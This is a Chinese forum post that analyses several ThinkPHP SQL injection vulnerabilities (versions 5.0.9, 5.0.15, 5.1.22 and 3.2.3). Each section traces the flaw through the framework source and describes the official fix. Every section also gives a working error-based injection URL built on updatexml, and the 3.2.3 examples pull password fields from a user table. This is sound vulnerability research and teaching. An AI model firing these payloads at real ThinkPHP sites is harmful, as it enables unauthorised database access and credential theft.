ThinkPHP-漏洞分析集合

2021-02-06 16:26发布

1条回答

ThinkPHP 5.0.9 鸡肋SQL注入

虽说鸡肋,但是原理还是很值得深思的,而且也能靠报错获取一手数据库信息。

漏洞利用

先从官网下载版本为5.0.9的thinkphp,然后创建一个demo应用,这里直接借鉴的p神vulhub中的代码和数据

https://github.com/vulhub/vulhub/tree/master/thinkphp/in-sqlinjection/www ( 不直接用docker环境是为了方便后期调试溯源

还有一个点就是thinkphp默认是开启debug模式的,就会显示尽可能多的报错信息,也是利用这个才能获取到数据库信息。这个感觉其实也怪不了官网,毕竟本身就是个框架,开发过程中debug是刚需,而且官方手册也一再强调过要在生产环境要关闭debug,即使默认关闭觉得也不缺乏直接debug环境上线的程序员 :dizzy_face:

再有就是说明一下index.php中的代码

public function index(){    $ids = input('ids/a');    $t = new User();    $result = $t->where('id', 'in', $ids)->select();    foreach($result as $row) {        echo "

Hello, {$row['username']}

";    }}

重点在于$ids = input('ids/a');,这也是触发漏洞一个关键,至于是什么意思呢可以查看官方手册得到答案

就是以数组的形式接受参数。

最后,可以开始真正的攻击了,访问如下url

http://localhost/tp5.0.9/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

即可得到sql语句的报错

在下面还能报错出数据库的配置信息

那为什么说鸡肋呢,因为之只能通过报错获取类似于database()user()这类信息,而不支持子查询

漏洞分析

在一开始下好断点,跟进$t->where('id', 'in', $ids)->select()语句

一开始先调用了thinkphp\library\think\db\Query.php:2277select方法

然后跟进2306行处的$sql = $this->builder->select($options);

然后来到664行

public function select($options = []){    $sql = str_replace(        ['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],        [            $this->parseTable($options['table'], $options),            $this->parseDistinct($options['distinct']),            $this->parseField($options['field'], $options),            $this->parseJoin($options['join'], $options),            $this->parseWhere($options['where'], $options),            $this->parseGroup($options['group']),            $this->parseHaving($options['having']),            $this->parseOrder($options['order'], $options),            $this->parseLimit($options['limit']),            $this->parseUnion($options['union']),            $this->parseLock($options['lock']),            $this->parseComment($options['comment']),            $this->parseForce($options['force']),        ], $this->selectSql);    return $sql;}

在这里调用了一次$this->parseWhere($options['where'], $options)解析

protected function parseWhere($where, $options){    $whereStr = $this->buildWhere($where, $options);    ....}

跟进第一行的$whereStr = $this->buildWhere($where, $options);

然后来到下面的buildWhere函数中,最后进入到282行附近的如下语句

} else {    // 对字段使用表达式查询    $field = is_string($field) ? $field : '';    $str[] = ' ' . $key . ' ' . $this->parseWhereItem($field, $value, $key, $options, $binds);}

重点就在$this->parseWhereItem中,也就是在这里进行了对in的处理,来看下这个函数

由于代码太多,只贴一部分重要的相关处理逻辑

protected function parseWhereItem($field, $val, $rule = '', $options = [], $binds = [], $bindName = null){    ....    $bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);    if (preg_match('/\W/', $bindName)) {        // 处理带非单词字符的字段名        $bindName = md5($bindName);    }    ....    } elseif (in_array($exp, ['NOT IN', 'IN'])) {        // IN 查询        if ($value instanceof \Closure) {            $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);        } else {            $value = is_array($value) ? $value : explode(',', $value);            if (array_key_exists($field, $binds)) {                $bind  = [];                $array = [];                foreach ($value as $k => $v) {                    if ($this->query->isBind($bindName . '_in_' . $k)) {                        $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;                    } else {                        $bindKey = $bindName . '_in_' . $k;                    }                    $bind[$bindKey] = [$v, $bindType];                    $array[]        = ':' . $bindKey;                }                $this->query->bind($bind);                $zone = implode(',', $array);            } else {                $zone = implode(',', $this->parseValue($value, $field));            }            $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';        }    }     ....    return $whereStr;}

可以看到一开始其实是对传入的参数进行了正则匹配处理的,但是由于传入的是一个数组,也就绕过了这个匹配

可以看到之后就将数组中的值遍历出来,然后将key值拼接到SQL语句中

最终的$whereStr值为

`id` IN (:where_id_in_0,updatexml(0,concat(0xa,user()),0))

从而导致在编译SQL语句的时候发生错误,从而产生报错。

这也就意味着我们控制了PDO预编译过程中的键名,这里有个疑问就是为什么不能用子查询呢?

引用下p神的文章 https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

通常,PDO预编译执行过程分三步:

  1. prepare($SQL) 编译SQL语句

  2. bindValue($param, $value) 将value绑定到param的位置上

  3. execute() 执行

这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的。

但实际上,在预编译的时候,也就是第一步即可利用。

究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false

这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。

这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。

在ThinkPHP中也能明显看到PDO::ATTR_EMULATE_PREPARES这个选项是默认关闭的

// PDO连接参数protected $params = [    PDO::ATTR_CASE              => PDO::CASE_NATURAL,    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,    PDO::ATTR_STRINGIFY_FETCHES => false,    PDO::ATTR_EMULATE_PREPARES  => false,];

这样,在执行预编译的编译SQL语句阶段mysql就会报错,但并没有与数据交互,所以只能爆出类似于user()database()这类最基础的信息,而不能进行子查询。

最后,膜一下p神对于这种底层机制的深入研究,从最根本的原理层面去剖析这种问题。

关于这个漏洞可以触发的点除了in还有一些例如likenot likenot in

框架采用的PDO机制可以说从根本上已经解决了一大堆SQL方面的安全问题,但往往有时就是对安全的过于信任,导致这里是在参数绑定的过程中产生了注入,不过PDO也可以说是将危害降到了最小。

ThinkPHP 5.0.15 update/insert 注入

漏洞利用

从官网下载ThinkPHP5.0.15,在application/index/controller/Index.php中插入

public function index(){    $username = input('get.username/a');    $res = db('user')->where(['id'=> 1])->insert(['username'=>$username]);    var_dump($res);}

依旧是以数组的形式接受参数

然后创建一个简单的user

然后在database.php配置好数据库信息,最后打在congfig.php中将app_debug开为true。(应该是前一个5.0.9的漏洞原因修改了默认设置吧

最后访问如下url,即可产生sql注入(虽然还是鸡肋型的

http://localhost/tp5.0.15/public/index.php
?username[0]=inc
&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)
&username[2]=1

漏洞分析

$res = db('user')->where(['id'=> 1])->insert(['username'=>$username]);下好断点后进入

跟随到insert函数中thinkphp/library/think/db/Query.php:2079

public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null){    // 分析查询表达式    $options = $this->parseExpress();    $data    = array_merge($options['data'], $data);    // 生成SQL语句    $sql = $this->builder->insert($data, $options, $replace);    ....

跟进$sql = $this->builder->insert($data, $options, $replace);

然后跟进到第一行的$data = $this->parseData($data, $options);中看看是如何解析数据的

protected function parseData($data, $options){    if (empty($data)) {        return [];    }    // 获取绑定信息    $bind = $this->query->getFieldsBind($options['table']);    if ('*' == $options['field']) {        $fields = array_keys($bind);    } else {        $fields = $options['field'];    }    $result = [];    foreach ($data as $key => $val) {        $item = $this->parseKey($key, $options);        if (is_object($val) && method_exists($val, '__toString')) {            // 对象数据写入            $val = $val->__toString();        }        if (false === strpos($key, '.') && !in_array($key, $fields, true)) {        ....        } elseif (is_array($val) && !empty($val)) {            switch ($val[0]) {                case 'exp':                    $result[$item] = $val[1];                    break;                case 'inc':                    $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);                    break;                case 'dec':                    $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);                    break;            }        } elseif (is_scalar($val)) {        ....        }    }    return $result;}

对传入的$data变量进行遍历,当$val[0]=='inc'时,就会将$val[1]$val[2]拼接

(本意应该是生成一个

INSERT INTO `user` (`username`) VALUES ( username+1 )

这类似的语句

但是这里没有对拼接的参数进行验证,导致恶意sql语句被拼接,从而引发sql注入

除了insert方法还有update也能触发该漏洞

漏洞修复

官方给出的修复方式是连接前对$val[1]进行一次判断

只有当$val[1]==$key键值时才能进行拼接(那万一要执行

INSERT INTO `user` (`age`) VALUES ( oldage+1 )

呢?

ThinkPHP 5.1.22 order by 注入

同时受到影响的还有3.2.3及以下的版本,这里仅以5.1.22进行分析

漏洞利用

下载好对应版本的ThinkPHP之后,创建一个demo页面

public function index(){    $data=array();    $data['username']=array('eq','admin');    $order=input('get.order');    $m=db('user')->where($data)->order($order)->find();    dump($m);        }

数据库

设置好对应的数据库配置,以及开启debug模式

访问如下url即可产生注入

http://localhost/tp5.1.22/public/?order[id`|updatexml(1,concat(0x3a,user()),1)#]=1

漏洞分析

在数据库处理的地方下好断点,跟入数据库的操作,可以来到order函数中(thinkphp\library\think\db\Query.php:1823

有很多代码区域都没有进入,所以只贴上相关的代码

动态调试中,就主要经过了这几个点

public function order($field, $order = null){    ....    if (!isset($this->options['order'])) {        $this->options['order'] = [];    }    if (is_array($field)) {        $this->options['order'] = array_merge($this->options['order'], $field);    } else {        ....    }    return $this;}

可以看到,当$field是一个数组的时候,直接用array_merge进行了数组拼接,没有进行任何过滤

所以导致键名直接拼接到了语句中,从而在预编译阶段报错

最后还是和其他SQL注入类似,由于PDO的原因,导致无法进行子查询

ThinkPHP 3.2.3 where注入

终于找到一个支持子查询的SQL注入了,估摸着应该是3和5版本的区别(感觉tp5中的注入都是蛮鸡肋的,但思路值得学习

漏洞利用

下载3.2.3版本的ThinkPHP,在IndexController.class.php中创建一个demo

public function index(){    $data = M('user')->find(I('GET.id'));    var_dump($data);}

创建好user表以及idusernamepassword字段,然后配置好config.php文件

'配置值'
    'DB_TYPE'           =>  'mysql',
    'DB_HOST'           =>  'localhost',
    'DB_NAME'           =>  'tp5',
    'DB_USER'           =>  'root',
    'DB_PWD'            =>  '',
    'DB_PORT'           =>  '3306',
    'DB_FIELDS_CACHE'   =>  true,
    'SHOW_PAGE_TRACE'   =>  true,);

访问http://localhost/tp3.2.3/index.php?id=1就可以看到数据被取出

然后访问如下url即可产生注入

http://localhost/tp3.2.3/index.php?id[where]=3 and 1=updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)#

漏洞分析

通过payload可以看到还是利用数组的形式进行传参,从而造成了sql注入,感觉一般都是在数组这层,对数据的过滤不够严谨,导致的字符串拼接,从而sql注入

$data = M('user')->find(I('GET.id'));中下好断点,跟踪到ThinkPHP/Library/Think/Model.class.php:720select函数中

只列出两条比较重要的语句

public function find($options=array()) {    ....    // 分析表达式    $options            =   $this->_parseOptions($options);    ....    $resultSet          =   $this->db->select($options);    .....}

在一开始的$this->_parseOptions($options);中,本来是对传入的pk进行了类型转换,导致无法进行sql注入

protected function _parseOptions($options=array()) {    ....    // 字段类型验证    if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {        // 对数组查询条件进行字段类型检查        foreach ($options['where'] as $key=>$val){            $key            =   trim($key);            if(in_array($key,$fields,true)){                if(is_scalar($val)) {                    $this->_parseType($options['where'],$key);                }            }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){                if(!empty($this->options['strict'])){                    E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');                }                 unset($options['where'][$key]);            }        }    }    ...}

但是由于传入的是数组的原因,导致略过了类型转换部分,从而将恶意语句带入了下文中

然后最后被带入到$this->db->select($options);

public function select($options=array()) {    $this->model  =   $options['model'];    $this->parseBind(!empty($options['bind'])?$options['bind']:array());    $sql    = $this->buildSelectSql($options);    $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);    return $result;}

跟入到$sql = $this->buildSelectSql($options);

public function buildSelectSql($options=array()) {    if(isset($options['page'])) {        // 根据页数计算limit        list($page,$listRows)   =   $options['page'];        $page    =  $page>0 ? $page : 1;        $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);        $offset  =  $listRows*($page-1);        $options['limit'] =  $offset.','.$listRows;    }    $sql  =   $this->parseSql($this->selectSql,$options);    return $sql;}

再到$sql = $this->parseSql($this->selectSql,$options);

public function parseSql($sql,$options=array()){    $sql   = str_replace(        array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),        array(            $this->parseTable($options['table']),            $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),            $this->parseField(!empty($options['field'])?$options['field']:'*'),            $this->parseJoin(!empty($options['join'])?$options['join']:''),            $this->parseWhere(!empty($options['where'])?$options['where']:''),            $this->parseGroup(!empty($options['group'])?$options['group']:''),            $this->parseHaving(!empty($options['having'])?$options['having']:''),            $this->parseOrder(!empty($options['order'])?$options['order']:''),            $this->parseLimit(!empty($options['limit'])?$options['limit']:''),            $this->parseUnion(!empty($options['union'])?$options['union']:''),            $this->parseLock(isset($options['lock'])?$options['lock']:false),            $this->parseComment(!empty($options['comment'])?$options['comment']:''),            $this->parseForce(!empty($options['force'])?$options['force']:'')        ),$sql);    return $sql;}

可以看到是将option中的字段字节直接在sql语句中进行了拼接,而且从这也能看出,不仅仅有where还有以些tablesfield之类的字段都可以控制,因为也会被直接拼接到语句中

然后语句被执行,引发了报错注入

该漏洞涉及到selectfinddelete等方法

漏洞修复

新的版本中将$options$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。

ThinkPHP 3.2.3 bind 注入

漏洞利用

demo页面

public function index(){    $User = M("user");    $user['id'] = I('id');    $data['username'] = I('username');    $data['password'] = I('password');    $valu = $User->where($user)->save($data);    var_dump($valu);}

还有数据库和config.php配置一下

访问http://localhost/tp3.2.3/index.php?username=admin&password=123&id=1看到

就表示成功update了一条语句,然后访问

http://localhost/tp3.2.3/index.php
?username=admin
&password=123
&id[]=bind
&id[]=1 and updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)

即可看到报错

漏洞分析

漏洞的重点就在于参数中的id[]=bind,我们只要跟踪由于这个引起的变化,就能看到漏洞触发的全过程。

来到ThinkPHP/Library/Think/Model.class.php:396 save函数中(很多代码无用被缩了起来

获取了表名字段名一些准备工作之后会进入$this->db->update($data,$options);

最后会来到parseWhere的解析

到目前位置传入的options中的where条件依旧是传入的数组

漏洞重点在于ThinkPHP/Library/Think/Db/Driver.class.php:547

'bind'==$exp的时候,就会直接将key和value拼接到where表达式中(本意应该只是生成占位符

导致最后sql语句变为

UPDATE `user` SET `username`=:0,`password`=:1 WHERE `id` = :1 and updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)

在最后execute时,就只会替换:1部分的数据

ThinkPHP/Library/Think/Db/Driver.class.php:196

public function execute($str,$fetchSql=false) {    $this->initConnect(true);    if ( !$this->_linkID ) return false;    $this->queryStr = $str;    if(!empty($this->bind)){        $that   =   $this;        $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));    }    ...

导致后面的and updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)语句逃逸,从而产生SQL注入

漏洞修复

修复方案只是在I函数的过滤器上加入了对于bind的过滤


相关问题推荐

  • 回答 6

    这个还是因人而异吧,看你自己对哪方面感兴趣,兴趣是最好的老师,感兴趣了才愿意钻研学习下去,简单说一下这两个学习知识方面的不同吧:软件测试岗位虽然对于从业者的知识基础要求不高,但是软件测试岗位所涉及到的知识面还是比较广的,所以软件测试人员也需...

  • 回答 5

    SQL注入漏洞的危害:1、数据库中存储的用户隐私信息泄漏;2、通过操作数据库对某些网页进行篡改;3、修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;4、数据库服务器被恶意操作,系统管理员帐户被窜改;5、数据库服务器提供的操作系统支持,让黑客得以...

  • 回答 16

    一、CISP(Certified Information Security Professional)证书中文叫注册信息安全专业人员,由中国信息安全产品测评认证中心实施的国家认证。可以说,这是目前国内对于个人来说认可度最高的信息安全人员资质,堪称最权威、最专业、最系统。根据实际岗位的不...

  • 回答 14

    渗透测试(也称为pentest)是测试移动应用程序漏洞的过程。此测试的主要目的是确保外部人员的重要数据.通过模拟黑客的思维和攻击手段,对计算机业务系统的弱点、技术缺陷和漏洞进行探查评估。经过客户授权后,在不影响业务系统正常运行的条件下,渗透人员在黑...

  • 回答 1

    网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的原因而遭受到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。主要涉及到的有:1、物理措施:例如,保护网络关键设备(如交换机、大型计算机等),制定严格的网络...

  • 回答 33

      网络安全工程师学习内容:  1、计算机应用、计算机网络、通信、信息安全等相关专业本科学历,三年以上网络安全领域工作经验;  2、精通网络安全技术:包括端口、服务漏洞扫描、程序漏洞分析检测、权限管理、入侵和攻击分析追踪、网站渗透、病毒木马防...

  • 回答 26

      学历不是问题,技术才是硬道理!只要你的技术过硬的话,你完全可以进国家安全部门去工作的。比如公安局里的网监工作,大都是九零后的电脑方面的精英。未必都是本科生。还有从社会上特招进去的。所以说,现在是拿技术说话,不是靠学历吃饭的时代了。  网...

  • 回答 16

    网络安全的知识是比较简单的,比较好入门,好多知识理论,大家都是可以听懂的,这是完全没有问题的。网络安全最终的则是实战的应用,怎么把这些理论知识运用到事件中,这些才是重中之重。所以在选择培训机构的时候,也需要尽量去找这些实践操作多的培训机构。...

  • 回答 22

      能够胜任的岗位主要有:渗透测试工程师、大数据安全工程师、信息安全工程师、安全测试工程师、安全服务工程师、安全运维工程师、系统安全工程师、服务器安全工程师、云计算安全工程师、网络安全工程师、安全分析师、渗透讲师等;  按照web渗透、内网渗透...

  • 回答 23

    一些典型的网络安全问题,可以来梳理一下:IP安全:主要的攻击方式有被动攻击的网络窃听,主动攻击的IP欺骗(copy报文伪造、篡改)和路由攻击(中间人攻击);2. DNS安全:这个大家应该比较熟悉,修改DNS的映射表,误导用户的访问流量;3. DoS攻击:单一攻击...

  • 回答 19

    运维一般是设备或者环境的搭建和维护,网络安全可以看做是防火墙

  • 回答 12

    先说说运维工程师和网络工程师的区别。运维工程师是泛指,网络工程师为特指,所以不能这么对比。你应该这么理解,网络工程师是一个人(也可以是理解成一个岗位),而运维则是他的工作内容。从工作内容上来说,运维可细分为桌面运维、网络运维、服务器运维三大...

没有解决我的问题,去提问